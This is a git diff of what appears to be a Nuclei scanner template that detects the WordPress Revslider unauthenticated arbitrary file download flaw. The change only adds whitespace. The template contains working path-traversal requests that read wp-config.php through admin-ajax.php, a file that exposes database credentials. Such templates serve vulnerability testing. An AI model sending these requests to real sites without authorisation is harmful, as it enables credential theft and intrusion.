diff --git a/vulnerabilities/wp-revslider-file-download.yaml b/vulnerabilities/wp-revslider-file-download.yaml index a9511bfb8b..123db8de3a 100644 --- a/vulnerabilities/wp-revslider-file-download.yaml +++ b/vulnerabilities/wp-revslider-file-download.yaml @@ -1,4 +1,6 @@ id: wp-revslider-file-download + + info: name: Wordpress Revslider - Unauthenticated Arbitrary File Download author: pussycat0x @@ -10,11 +12,15 @@ info: - https://blog.sucuri.net/2014/09/slider-revolution-plugin-critical-vulnerability-being-exploited.html - https://cxsecurity.com/issue/WLB-2021090129 tags: wordpress,wp-plugin,lfi + + requests: - method: GET path: - '{{BaseURL}}/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' - '{{BaseURL}}/blog/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php' + + matchers-condition: and matchers: - type: word @@ -25,4 +31,4 @@ requests: condition: and - type: status status: - - 200 \ No newline at end of file + - 200